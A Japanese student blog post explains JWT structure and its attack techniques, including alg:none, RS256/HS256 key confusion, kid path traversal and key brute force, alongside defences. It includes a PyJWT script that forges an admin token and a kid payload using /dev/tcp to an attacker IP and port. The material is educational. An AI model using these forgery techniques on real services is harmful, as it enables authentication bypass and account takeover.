blog of morioka12

moriokaの勉強・活動 記録

セキュリティ視点からの JWT 入門

f:id:scgajge12:20201207104729p:plain

こんにちは、ISC 1年 IPFactory 所属の morioka12 です。

この記事は IPFactory Advent Calendar 2020 の10日目の分になります。

IPFactory という技術サークルについては、こちらを参照ください。

本記事の最後に記載されている余談でも IPFactory の詳細を紹介しています。

普段は Web Security や Cloud Security 、バグバウンティなどを興味分野として勉強しながら、あるセキュリティベンダー企業で長期インターンシップとして脆弱性診断などをさせてもらっています。

今回は、最近多くの Web アプリケーションで使われている JWT について、基本的な概要とセキュリティ面に関する内容(攻撃手法や対策)をまとめてみました。これから JWT を利用した Web 開発をする方や Web Security の学習をしている方、JWT というものを知りたい方などは、ぜひ少しでも参考にしてもらえると嬉しいです。

もし、本記事の内容で間違いな点があれば、morioka12(@scgajge12)までご連絡いただければ幸いです。

 

目次

1. JWT (JSON Web Token) とは

JSON Web Token (JWT) とは、RFC 7519 で以下のように定義されています。

JSON Web Token (JWT) is a compact, URL-safe means of representing claims to be transferred between two parties.

JWT は、二者間で転送されるクレーム(属性情報)を表現するためのコンパクトで URL Safe な方法です。

Wikipedia には、以下のように記載されています。

JSON Web Token(ジェイソン・ウェブ・トークン)は、JSONデータに署名や暗号化を施す方法を定めたオープン標準 (RFC 7519) である。略称はJWT。

簡単にいうと JWT (ジョット)は、ユーザー情報などを JSON 形式で保持して、内容の改ざんを検知することができるトークンです。

JWT に関連のある仕様は、以下になります。

ちなみに Web におけるトークン (Token)とは、サーバーが必要とするクライアントの認証情報を含んだ文字列のことです。JWT の他にも Access Token や ID Token 、Refresh Token などがあります。

最近の Web サイトや Web アプリケーションでは、多くの使い道で JWT が使用されています。(流行りの技術らしいです)

JWT は主に、以下のような特徴を持っています。

  • 改ざんの検証をすることができる (一番の特徴だと思う)
  • 実施あのデータが JSON 形式のオブジェクトである
  • URL Safe である (URL に含まれるできる文字列のみで構成されている)
  • コンパクトにやり取りを行うことができる

そして JWT は、以下のような機能や場面で使用されることが多いです。

  • ログイン機能などの認証(Authentication)
  • アクセス許可(Authorization)
  • ユーザー情報の保持 (カート情報など)
  •   etc.

2. JWT の仕組み

基本的に JWT は、Header(ヘッダ)・Payload (ペイロード)・Signature(署名)の3つの要素から構成されてる文字列となってます。各要素は、ドット(.)で結合されて1つの文字列として扱われます。

<Header>.<Payload>.<Signature>

 以下が JWT の例になります。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Im1vcmlva2ExMiIsImlhdCI6MTUxNjIzOTAyMn0.KmqetKpqEgjEHRvOrT8vEYdNQF_DI8FmB-vu5e_3Z0w

これを3つの要素がわかりやすいようにドットで改行をしてみます。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Im1vcmlva2ExMiIsImlhdCI6MTUxNjIzOTAyMn0.
KmqetKpqEgjEHRvOrT8vEYdNQF_DI8FmB-vu5e_3Z0w

先程の説明でもあった通り JWT は、JSON 形式でデータを保持しています。でも実際は、ヘッダとペイロードの情報は Base64 URL エンコードされた文字列で、署名の情報はヘッダに含まれるアルゴリズムとシークレットキー(鍵)により署名されたバイナリ文字列となってます。この形式は、よく使われている JWS (JWT Compact Serialization) という単一の署名を持つフォーマットになります。

JWT の内容をデコードすると、以下のように各要素の内容が分かる形となります。
Headers = {
  "alg": "HS256",
  "typ": "JWT"
}

Payload = {
  "sub": "1234567890",
  "name": "morioka12",
  "iat": 1516239022
}

Signature = "KmqetKpqEgjEHRvOrT8vEYdNQF_DI8FmB-vu5e_3Z0w"

各要素の中に定義されている項目のことをクレーム (Claim) といいます。クレームには、必須のものや任意のもの、独自に定義できるものがあります。そして各クレームに、保持させたい情報を入れて扱います。主にペイロードの部分に重要なユーザー情報が格納されていることが多いです。次に各要素について説明していきます。

2.1. ヘッダデータ

ヘッダは、主にメタ情報となるものが含まれます。ヘッダで使われるクレームは、以下のようなものがあります。

ヘッダで重要となっているのは、アルゴリズムを指定する alg クレームになります。これは先程示した通り、署名の生成や検証に使用されます。署名に使用できるアルゴリズムは、以下のようなものがあります。RFC-7518 の定義では、こちらにあります。(xxx の部分は、256/384/512 のどれかになります)

"none" は、署名を行わないためアルゴリズムを指定しないとします。"HSxxx" は、同一の鍵(共通鍵)で署名の生成や検証を行います。処理が速いのが特徴ですが、適切に鍵を安全に管理しなければなりません。"RSxxx" や "ESxxx" 、"PSxxx" は、署名の生成と検証に別々の鍵(公開鍵と秘密鍵)で行われます。

アルゴリズムに関しては、後にセキュリティリスクでも触れて特徴を説明します。

2.2. ペイロードデータ

ペイロードは、実際に活用される情報が含まれます。ペイロードのクレームには、自由に項目を作れる独自のクレームと役割が決まっている予約済みのクレームがあります。予約語は、有効期限や発行形態などに関する情報を保持するためのクレームとなってます。

予約済みのクレーム一覧 (役割)

クレーム 役割
iss JWTを発行した者(サーバー)の識別子
sub JWTの主体となる識別子
aud JWTを利用する側(クライアント)の識別子
exp 有効期限の終了日時
nbf 有効期限の開始日時
iat 発行日時
jti 一意な識別子
typ コンテンツタイプの宣言

予約済みのクレームではないクレームは、パブリッククレームとプライベートクレームというものになります。RFC7519 には、こちらに記載されていますが今回は詳しく説明しません。独自のクレームは、Web アプリケーションがトークンとして保持させときたい情報を必要に応じてクレームを定義します。主にユーザーのメールアドレスやユーザーIDなどが含まれていることがあります。そのためユーザーに関する重要な情報が、ペイロードに含まれます。

2.3. 署名データ

署名は、JWT の改ざんを検証する際に使用されるデータ(文字列)になります。署名の文字列は、JWT のヘッダに付与されているアルゴリズムとシークレットキー(署名の際に使用される鍵)を利用して署名の文字列を生成します。生成した文字列は、"Signature" というクレームに含まれます。

2.4 JWT の生成と検証

では、実際に JWT が生成される流れと検証される流れを見てみます。

2.4.1 生成の流れ
  1. ヘッダを生成
  2. ペイロードを生成
  3. 署名を生成する
  4. 以上の3つをドット(.)で連結して完成

ヘッダとペイロードは、データを JSON エンコードして Base64 URL エンコードします。署名は、ヘッダにあるアルゴリズムとシークレットキーを使用して文字列を生成します。その後に3つを連結して完成になります。

2.4.2. 検証の流れ 
  1. ヘッダを検証する
  2. 署名を検証する
  3. (ペイロードを検証する) 

まずは、ヘッダを Base64 URL デコードとJSON デコードをします。そして 以下のような検証をします。

  • typ:期待する値と一致するか
  • kid:サポートしている鍵なのか
  • alg:kid クレームに紐づいた鍵とアルゴリズムが一致するか

ヘッダの検証が行われたら署名の検証をします。署名は、ヘッダに指定された kid に紐づく鍵で署名された文字列を HMAC-SHA256 などした値を Base64 URL エンコードします。そしてエンコードした文字列を比較して一致するかを検証します。RSA などの公開鍵方式の場合は、それ用の署名検証用関数を利用して検証を行います。

その後に必要に応じてペイロードの検証もお願いします。これは利用場面によって検証すべきクレームが変わってくるので省略します。

 

ここまである程度、JWT について説明をしてきました。

JWT は、多くの Web アプリケーションで利用されています。標準化プロトコルである OAuth や OpenID Connect 、クラウドサービスである AWS や GCP などでも使用されています。あと、学生なら最近よく使われている ZoomのAPIにもアカウント認証で使用されてます。なぜ JWT が多くの場面で使用されているかは、先程から色々示している標準化によってだと思われます。仕様は RFC で定義されて、各プログラミング言語やライブラリが豊富になってきている点から多くの実装で利用されているのだと思います。

ローカルプロキシである Burp Suite などでリクエストを見たときに Cookie やパラメータに eyJ から始まる長い文字列があった場合は、ぜひ デコードしてみてください。その eyJ は、{Base64 した文字列の可能性があるため JWT かもしれません。

eyJ = Base64( ' { " ' )

JWT なら綺麗にデコードされて内容が見れると思います。この意識は、CTF の Web 問を解いている時もヒントに繋がるかもしれません。

CTF などで JWT のデコードして内容を見る場合は、オンライン上にある便利な jwt.io を利用すると簡単にエンコード/デコードや生成/検証を行うことができます。

f:id:scgajge12:20201205011802p:plain

ですが、実際の脆弱性診断などでは、JWT の情報は重要な内容なため Burp Suite の拡張機能である JSON Web Tokens などを利用します。以下がその JSON Web Tokens で見たときの JWT になります。

f:id:scgajge12:20201207000915p:plain

ちなみに、Burp Suite の拡張機能JSON Web Token Attacker というものもあります。気になる方は、ぜひ詳細をご覧ください。

3. JWT のセキュリティリスク

ここからが本記事のメインになります。 

JWT に関するセキュリティリスクは、主に JWT の実装方法に関連していることが多いです。一般的な JWT の脆弱性を突いた攻撃は、以下のようなものがあります。

各攻撃や問題について、少し細かく解説していきます。

3.1. アルゴリズム(alg)の操作

これは、JWT のヘッダに含まれるアルゴリズムを操作することによって、サーバー側の検証を突破する攻撃方法です。

方法は主に2つあります。

  • "alg:none" 攻撃
  • RS256 公開鍵を HS256 の共通鍵として使用する攻撃 
3.1.1. "alg:none" 攻撃

これは名前の通り、alg クレームを他指定されているアルゴリズムから none に改ざんして署名による検証を回避させる攻撃手法です。

手順としては、以下のようになります。

  1. ヘッダのアルゴリズムを none に変更する
  2. 署名の文字列を削除する
  3. 改ざんした JWT をリクエストで送信して正常な動作をするか確認する
  4. (成功している場合は、ペイロードの内容を自由に書き換えて悪用する)

もし none に改ざんしてリクエストで送信した際に、通常通りの動作をしたら改ざん成功です。これでペイロードの内容を自由に改ざん(user を admin にするなど)して有効な JWT を生成することができることが確認できます。

・元の JWT
  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImRlZmF1bHQifQ.eyJmb28iOiJiYXIifQ.lmsUbhkgf5KpheRpXwc-pbG_HhYr9Grw1301d0sVzxI
   Header: {typ: "JWT", alg: "HS256", kid: "default"}
・改ざんした JWT
  eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIiwia2lkIjoiZGVmYXVsdCJ9.eyJmb28iOiJiYXIifQ.
   Header: {typ: "JWT", alg: "none", kid: "default"}

この脆弱性は、サーバー側でアルゴリズムの制限を設定していない場合に起こります。対策としては、大体の Web アプリケーションでは想定しているアルゴリズムが実装上で決まっていると思われます。そのため検証するサーバー側であらかじめアルゴリズムを指定しておき、送られてきた JWT のアルゴリズムと一致しているかで判断するようにします。もしくは、JWT の検証を行う関数に事前にアルゴリズムを設定しておくという手もあります。

対策

これにより、"alg:none" 攻撃を回避することができます。

3.1.2. RS256 の公開鍵を HS256 の共通鍵として使用する攻撃 

これは、RS256 の公開鍵/秘密鍵と HS256 の共通鍵の特徴を悪用した攻撃手法です。これも先程の "alg:none" 攻撃と似た分類の攻撃手法になります。先程示した対策で、送られてきた JWT の検証を行う関数に アルゴリズムの none を拒否するような実装をしている場合があります。その場合に、この攻撃手法で検証を回避することができること場合があります。

通常の RS256 の場合は、署名の生成に秘密鍵を使用して、検証に公開鍵を使用します。そのため検証をするサーバー側には、署名の際に使用した秘密鍵に紐づいた公開鍵があることになります。そして名前の通りに公開鍵は、秘密鍵と違って公開状態となっています。なので攻撃者は、この公開鍵を入手することが可能です。その公開鍵を悪用して JWT のアルゴリズムを 同一の共通鍵で署名と検証をする HS256 に改ざんして指定します。そうすることで検証するサーバー側は、署名のアルゴリズムが HS256 であることを認識してサーバー側に元々ある公開鍵を使って署名検証します。これで HS256 で同一の鍵で生成されている JWT と判断されて突破することができます。

流れを整理すると、以下のようになります。

  1. 対象の JWT のアルゴリズムが RS256 で、"alg:none" 攻撃は対策済みだったとする
  2. 攻撃者は、対象の JWT で使用された秘密鍵に紐づいた公開鍵を入手する
  3. 対象の JWT のアルゴリズムを RS256 から HS256 に変更する
  4. 先程の入手した公開鍵を利用して、署名の部分を生成する
  5. 生成した署名を元の JWT の署名と入れ替えて、リクエストで送信して正常な動作をするか確認する
  6. (成功している場合は、ペイロードの内容を自由に書き換えて悪用する)

この攻撃手法は、本記事の最後にある おまけ(JWT の改ざん) で簡単に Python を使用して改ざんする手順を書きました。なので実際にこの攻撃手法を利用して JWT を改ざんしてみたい方は、ぜひ手元の環境で試してみてください。

この攻撃手法の対策としては先程と同じように、検証用の関数にあらかじめアルゴリズムを厳密に指定しておくことで回避することができます。もし使用しているライブラリに関するにアルゴリズムを指定できるオプションない場合は、自分でヘッダの alg クレームを直接確認するようにするしかないです。

対策

  • 検証を行うサーバー側であらかじめアルゴリズムを厳密に指定しておく

これにより、RS256 の公開鍵を HS256 の共通鍵として使用する攻撃 を回避することができます。

3.2. 脆弱な HMAC 鍵をブルートフォースによる特定

これは、JWT の署名の生成に使用される共通鍵が脆弱な(短い)文字列の場合に、その文字列をブルートフォースによって特定することで有効な JWT を生成することができる攻撃手法です。

元々 HMAC のような単一の鍵を使用するアルゴリズムは、署名と検証を早く実行できるというメリットがあります。速度を優先して効率よく実行することができますが、総当たり攻撃に対する耐性を考えたら、危険性が高まります。

実際に総当たりのブルートフォースを行う場合は、以下のようなツールを使用することで特定できたりします。本記事では、各ツールの詳細は省略します。(後に追記か別でまとめるかも)

対策としては、 単純に HMAC で使用する鍵の長さを長くすることになります。RFC 7518 の3.2 には以下のように記載されています。

A key of the same size as the hash output (for instance, 256 bits for "HS256") or larger MUST be used with this algorithm.

ここの256ビットとは、ASCII 文字の32個に相当します。そのため、32文字を最小数として使用することがおすすめされています。

ただそれ以前に、一般的な総当たり攻撃の対策で一定以上のアクセス処理がされた場合に、アカウントロックのような機能を備えている場合もあります。そのため重要な情報を扱う場面では、別で対策を施しておいた方が無難だと思われます。

対策

  • 256ビット以上の共通鍵を使用する
  • 堅牢なアルゴリズムに変更する
  • 重要な情報を扱うところは、アクセス制限を設ける
  • HMAC の使用を避けて他のアルゴリズムで署名する

これにより、脆弱な HMAC 鍵をブルートフォースによる特定を回避することができます。

3.3. 他の脆弱性を利用して秘密鍵を特定

これは、一般的な脆弱性を介して秘密鍵を特定して、有効な JWT を生成させる攻撃手法です。主に以下のような脆弱性で JWT に使用されたシークレットキーを入手することができます。

これらの脆弱性攻撃は、Web アプリケーションに対して攻撃して鍵の入手するか、JWT の内容(クレーム)を悪用して攻撃する方法があります。一般的な脆弱性攻撃の説明は、ここでは省略します。JWT の内容を悪用して攻撃する方法は、次に軽く説明します。

対策としては、一般的な脆弱性攻撃に対する対策を行うことでシークレットキーの入手を防ぐことができます。

ちなみにディレクトリトラバーサルを利用してシークレットキーを入手し、JWT の改ざんを行う手法は、所属している IPFactory が主催で開いた ISCCTF2020[web(medium)] crackjwt という CTF 問題で取り入れられています。気になる方は、ぜひ試してみてください。

3.4. Key ID (kid)の操作

これは、ヘッダに任意で付与される kid クレームを悪用することでシークレットキーを不正に入手することができる攻撃手法です。ちなみに kid クレームは、"Key ID" の略で、JWT の検証に使用する鍵を指定することができます。

例えば、JWT の検証に使用する鍵を1に指定する場合は、以下のようになります。

{
 "alg" : "HS256",
 "typ" : "JWT",
 "kid" : "1"
}

kid クレームを悪用する方法は、以下のようにいくつかあります。

3.4.1. kid クレームの情報を元に URL のディレクトリから調査する

これは、ヘッダに kid クレームが使用されている場合に、ファイル名やそのバリエーションを URL のディレクトリから直接的に調査します。もしかしたら、アクセスすることでシークレットキーを得れる可能性があります。

例えば、"kid": "key/123" の場合は、URL のディレクトリで "~/key/123" や "~\key/123.pem" にアクセスしてみます。もし、うまくアクセス制御がされていない場合は、直接的にシークレットキーを入手することができます。

3.4.2. kid クレームにディレクトリトラバーサルの payload を埋め込む

先程は、kid クレームにある情報からシークレットキーを特定しようとしました。これは、kid クレームに別ファイルをディレクトリトラバーサルの payload で埋め込ませます。それにより、攻撃者が任意で署名検証に使用するシークレットキーを別ファイルで処理をさせることができます。

まずは、この手法が試せるかを確認します。確認する方法は、いくつかあります。

  • 予測可能なファイルを指定する
  • "kid": "/dev/tcp/ <your IP> / <your Port> /" のように接続を確認する
  • SSRF の payload を指定してレスポンスを確認する
  • SQL インジェクションを利用してデータベースからシークレットキーを直接的に取得できるか確認する

これらの対策としては、一般的な脆弱性の対策や kid クレームの内容を検証する処理を行うことで回避することができます。

3.5. その他の攻撃や問題

その他の攻撃や問題として、いくつかあります。本記事では、少しだけ紹介します。

  • ヘッダに新しい公開鍵を埋め込む (CVE-2018-0114)
  • XSSCSRF の問題
  • 不適切な有効期限 (exp) による問題
  • 情報漏洩
  • JWKS Spoofing (本記事では説明を省略します)
  • Cross-Service Relay attacks (本記事では説明を省略します)
3.5.1. ヘッダに新しい公開鍵を埋め込む (CVE-2018-0114)

これは、JWT のヘッダに新しい公開鍵を埋め込んでサーバー側で指定した新しい公開鍵を使用させて署名の検証をさせる攻撃手法です。CVE は、こちらになります。

この攻撃手法は、 先程も紹介した Burp Suite の拡張機能である JSON Web Tokens を使用することで簡単に試すことができます。方法をしては、対象のリクエストを Repeater タブから "Select extension ..." で "JSON Web Tokens" を選択して "CVE-2018-0114 Attack" にチェックを入れることで自動的に JWT を改ざんしてくれます。

f:id:scgajge12:20201208111448p:plain

3.5.2. XSSCSRF の問題

JWT を実際にリクエストで送る際は、 Cookie に含める方法と HTTP の Authorization ヘッダなどに含める方法があります。

Cookie に JWT が含める場合は、HttpOnly 属性が付与されていれば、 XSS に関するリスクを低くすることができます。ただこれだけでは、CSRF のリスクが高まってしまいます。そのため、SameSite 属性などを活用して CSRF の対策も並行して行う必要があります。

また、HTTP の Authorization ヘッダに JWT が含める場合は、JavaScript からアクセスが可能な Web Storage などに JWT が保存されることになります。ちなみに Web Storage には、Local Storage と Session Storage があります。簡単に違いを説明すると、Local Storageは消さない限り永久的に保存されて、Session Storageはタブを閉じるまで有効な状態で保存されます。そのため Web アプリケーション上に XSS が存在した場合は、攻撃者に盗まれる可能性があります。

そのため JWT は、XSSCSRF などの脆弱性に対する対策を行った上で、Cookie に含める実装を行う必要があります。

3.5.3. 不適切な有効期限 (exp) による問題  

ペイロードには、exp クレームという有効期限の最終日時を示すものがあります。JWT が発行されてからどのくらい対象の JWT を有効として判断するかを exp クレームに終了日時を含めます。ちなみに exp クレームに入る値は、UNIX時刻となっています。そのため日時を確認する時は、こちらのような変換ツールを利用することで日時が簡単にわかるようになります。実際にリクエストに含まれていた JWT の有効期限を調べたい場合は、まず発行された日時をメモして、expクレームを先程のようなツールで変換します。そしてその2つの日時を比べて、どのくらい有効期限があるかを確認します。

有効期限の判断は、JWT の利用場面やサービスの運用方法によって様々だと思います。そのため運用上のことを考えた上で、適切な有効期限を設定するようにしてください。もし、サービスとしてきっちり運用される場合は、ブラックリストで JWT を管理することで後に無効化したい JWT があれば、管理側で使用不可能にすることができます。単純に JWT の有効期限 (exp) を短く設定しておけば、JWT が漏洩した際のリスクは低くなり、悪用される時間も短くすることが可能です。そのため、むやみに JWT の有効期限を長く設定しないようにする必要があります。

3.5.4. 情報漏洩

JWT は、主にアクセス制御周りでも使用されます。そのためペイロードには、ユーザーに関する情報が含まれていることが多いです。もし、JWT のトークンが暗号化されていない場合は、誰でも JWT のペイロードBase64 でデコードすることで情報を読み取ることができます。そのためJWT を扱う Cookie には、適切に Secure 属性を付与してください。その上で実装・管理・運用での対策を行う必要があります。

3.6. 実際の脆弱性レポート (報告書)

HackerOne というバグバウンティプラットフォームに提出された報告書にも、いくつか JWT に脆弱性を突いたものがありました。

 特に印象的だった報告が今年の4月に Apple Security Bounty Program に提出された「Signin with Apple」機能に関する脆弱性です。これを悪用すると、攻撃者が主要なサードパーティサービスでユーザーのアカウントを乗っ取ることが可能です。

4. セキュリティ対策やベストプラクティス

JWT のセキュアな実装方法は、RFC 8725 にベストプラクティスとして記載してあります。実際に JWT を利用して何かのサービスの運用に取り入れる場合は、以下の点に注意して実装する必要があると思われます。

  • アルゴリズムの検証を常に実行する
  • 適切なアルゴリズムを使用する
  • 暗号の入力を必ず検証する
  • 強力な鍵を選択する
  • 使用可能な全てのクレームを検証する
  • typ クレームを使用してトークンの種類を区別する
  • トークンごとに異なる検証ルールを使用する
  • ペイロードに含める情報をよく検討する (ユースケース依存)
  • 署名検証にはライブラリなどを利用して正確に行う
  • もし運用上の理由で JWT の有効期限を短くできない場合は、JWT をブラックリストに入れて管理できるようにする (使用不可能にできる体制を整えておく)

脆弱性に対しての対策は、先程のセキュリティリスクでも示したのでそちらも一緒に参考にしてみてください。 

5. おまけ (JWT の改ざん)

おまけとして少し Python のライブラリである PyJWT を使って、簡単に JWT を改ざんしてみます。攻撃手法は、JWT の alg クレームに RS256 が付与されているのに対して、RSA 公開鍵を HS256 の共通鍵として使用させて有効な JWT を生成させる攻撃手法になります。

今回は、以下を想定として行います。

  • Web アプリケーションにログインする際のリクエストの Cookie に含まれる JWT を改ざんする
  • サーバー側でアルゴリズムの制限が none に指定できない実装になっている
  • 既に公開鍵(Public Key)が手元にある

攻撃手順は、以下の通りに行います。

  1. 今回対象とする JWT の構成を見てみる
  2. JWT の改ざんに使用する公開鍵を確認する
  3. 改ざんする部分を Python の PyJWT を使用して生成・確認する
  4. (実際の CTF などでは、この生成した JWT をリクエストで対象に Web アプリケーションに送って検証をクリアさせる)

5.1. 今回対象とする JWT の構成を見てみる

実際は、ローカルプロキシである Burp Suite などで 対象の Web アプリケーションからのリクエストを観測して JWT を入手します。イメージとしては以下のようなリクエストの Cookie に JWT が含まれています。

GET / HTTP/1.1
Host: broken-jwt.com
 ...<redacted>...
Connection: close
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdXRoIjoiZ3Vlc3QifQ.e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw
Upgrade-Insecure-Requests: 1

対象の JWT のみを切り取って、見やすく改行すると以下のようになります。

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.
eyJhdXRoIjoiZ3Vlc3QifQ.
e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw

これを jwt.io で見てみるとこんな感じで簡単に中の構成を確認することができます。

f:id:scgajge12:20201206231547p:plain

ちなみに Linux などのコマンドライン上でもデコードして確認できます。

$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9 | base64 -d
{"typ":"JWT","alg":"RS256"}
$ echo eyJhdXRoIjoiZ3Vlc3QifQ | base64 -d
{"auth":"guest"}

今回の目的は、このペイロードにある auth クレームを "guest" から "admin" に改ざんします。この JWT の署名に使用されているアルゴリズムは、ヘッダを見ると RS256 でされていることがわかります。RS256 の脆弱性について振り返ると、JWT の生成には秘密鍵を使って、検証には公開鍵を使用しています。

今回の想定としてサーバー側では、JWT のアルゴリズムの制限がされていません(none のみ)。そのため、ヘッダのアルゴリズムを HS256 に改ざんして公開鍵で JWT を生成させます。そうすることで HS256 は、生成と検証を同一の鍵で行うことになるため有効なトークンとして改ざんした JWT を送信して、"admin" でログインができそうです。

5.2. JWT の改ざんに使用する公開鍵を確認する

今回の想定として既に公開鍵を取得しているとしています。以下がその公開鍵になります。

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtnREuAwK7M/jWZdSVNfN
4m+kX0rqakI6KIR/qzT/Fv7hfC5vg9UJgEaAGOfexmoDMBYTLRSHnQ9EYjF6bkCh
w+NVQCqsvy9psZVnjUHQ6QfVUdyrUcsOuRoMMaEBYp+qCegDY5Vp65Wzk05qXfvK
LJK9apOo0pPgD7fdOhpqwzejxgWxUgYvMqkGQS2aCC51ePvC6edkStNxovoDFvXk
uG69/7jEqs2k2pk5mI66MR+2U46ub8hPUk7WA6zTGHhIMuxny+7ivxYIXCqEbZGV
YhOuubXfAPrVN2UpL4YBvtfmHZMmjp2j39PEqxXU70kTk96xq3WhnYm46HhciyIz
zQIDAQAB
-----END PUBLIC KEY-----

この鍵を利用して JWT をアルゴリズム HS256 で有効な JWT を生成させます。

ちなみに RS256 は、サーバー側で公開鍵を利用して署名検証を行います。そのため、この公開鍵が本当に先程の JWT の公開鍵なのかを手元で確かめることができます。試しに Burp Suite の JSON Web Tokens で署名検証をしてみると以下のようになります。

f:id:scgajge12:20201209190703p:plain

すると緑色の部分で "signature verified" となり、署名検証がされてこの JWT の生成に使用された秘密鍵に紐づいた公開鍵であることが確認することができます。(同じように jwt.io のデバッガでも検証することができます)

5.3. 改ざんする部分を Python の PyJWT を使用して生成・確認する

今回生成したい JWT の条件を整理すると以下の3点になります。

  • ヘッダのアルゴリズムを "RS256" から "HS256" に変更する
  • ペイロードの auth クレームを "guest" から "admin" に変更する
  • 署名の文字列を公開鍵を使って生成する

この条件にそって今回は、Python で JWT を生成します。今回は、先程も示した PyJWT を使用します。

1点注意で今回の PyJWT は、バージョン0.4.3 を使用します。既に PyJWT が他のバージョンでインストールされている場合は、一度アンインストールして再度指定のバージョンでインストールしてください。方法は以下のようになります。

# 既に他のバージョンがある場合のアンインストール
$ pip3 uninstall pyjwt

# 指定の PyJWT のインストール
$ pip3 install pyjwt==0.4.3

指定の PyJWT をインストールできたら、以下のプログラムを作成します。

#!/usr/bin/python3

import jwt
#pyjwt==0.4.3

pubkey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtnREuAwK7M/jWZdSVNfN
4m+kX0rqakI6KIR/qzT/Fv7hfC5vg9UJgEaAGOfexmoDMBYTLRSHnQ9EYjF6bkCh
w+NVQCqsvy9psZVnjUHQ6QfVUdyrUcsOuRoMMaEBYp+qCegDY5Vp65Wzk05qXfvK
LJK9apOo0pPgD7fdOhpqwzejxgWxUgYvMqkGQS2aCC51ePvC6edkStNxovoDFvXk
uG69/7jEqs2k2pk5mI66MR+2U46ub8hPUk7WA6zTGHhIMuxny+7ivxYIXCqEbZGV
YhOuubXfAPrVN2UpL4YBvtfmHZMmjp2j39PEqxXU70kTk96xq3WhnYm46HhciyIz
zQIDAQAB
-----END PUBLIC KEY-----
"""

payload = {"auth": "admin"}

cookie = jwt.encode( payload, pubkey, algorithm="HS256") print(cookie.decode())

これを実行すると以下のように改ざんされた JWT が生成されます。

$ python3 broken-jwt.py
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4
$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
{"typ":"JWT","alg":"HS256"}
$ echo eyJhdXRoIjoiYWRtaW4ifQ | base64 -d
{"auth":"admin"}

これで条件にあった JWT を生成することができました。CTF などでは、改ざんした JWT をリクエストで送信すると、アルゴリズムは HS256 と認識されて同一の鍵で検証されます。そのため、有効な JWT と判断されます。

 

このような流れで自分の環境でも改ざんした JWT の生成を、Python のプログラムによって簡単に行うことができます。

本記事では、JWT に関する実装はあまり触れませんでした。実際に動かして実装してみたい方は、ぜひ以下のような Web フレームワークやライブラリを利用して実装して試してみてください。

6. 感想・まとめ

今回、初めて技術的な内容のブログを書いてみました (初アドカレでもあります)。内容のベースとしては、以前に自分が JWT について学習した際のメモなどを元にまとめました。個人的に、最近よく見る JWT のセキュリティに関する点を少しでも知ってもらえればと思いました。

本記事では JWT に関する実装周りの内容は、具体的に触れませんでした。もし JWT をもっと深く学びたい方は、ぜひ JWT を実装して色々と再現してみてください。その際に、本記事のセキュリティ面を少しでも参考にしてもらえると嬉しいです。あとは CTF 形式で実際にリクエストで JWT が含まれていれば JWT に関する攻撃を試してみたり、PentesterLab にいくつか JWT に関する演習 (Pro のみ)があるのでそれををやってみたりすると更に良いと面白いと思います。やっぱり IT 技術は、実際に手を動かして学ぶことが一番吸収できることも多く、単純に楽しいと思います。

ぜひ本記事は、何かの参考にしていただければ幸いです。

今後は、Web ・ Cloud に関するセキュリティの内容やバグバウンティについてブログでアウトプットしたいと思っていますのでお楽しみに。

 

最後まで読んでいただきたい、ありがとうございました!

 

余談:IPFactory について

IPFactory とは、情報科学専門学校という学校に存在する学内サークルです。
IPF に在籍するメンバーがそれぞれ自身の専門分野についての勉強やアウトプット活動を行っています。
サークル内有志メンバーでCTFを主催したりもしています。
IPF に所属する各メンバーの Twitter やブログ等は以下のページを参照してください。

ipfactory.github.io

 

参考資料

 

SECCON 2019 スポンサーとして参加

f:id:scgajge12:20191230163333j:image

今回は2019年12月21日~22日に秋葉原UDXで行われたSECCON 2019にスポンサーのスタッフとして参加したのでまとめます。

https://www.seccon.jp/2019/akihabara/

twitter.com

参加したきっかけ

今回SECCONのスポンサーであるSecHack365の修了生としてブースをお手伝いしました。

f:id:scgajge12:20191230163402j:image

主にブースの展示にてSecHack365の説明やポスター・デモの展示、次年度の募集宣伝、SECCON STAGEでLTを行いました。

あと空いた時間にSECCONを周ったりしました。

修了生は4人呼ばれました。

他のブース以外にもSecHack365の修了生や現役生も活躍していました。

SecHack365について知らない方はこちらを参考にしてみてください。

scgajge12.hatenablog.com

sechack365.nict.go.jp

 

1日目(21日 土曜日)

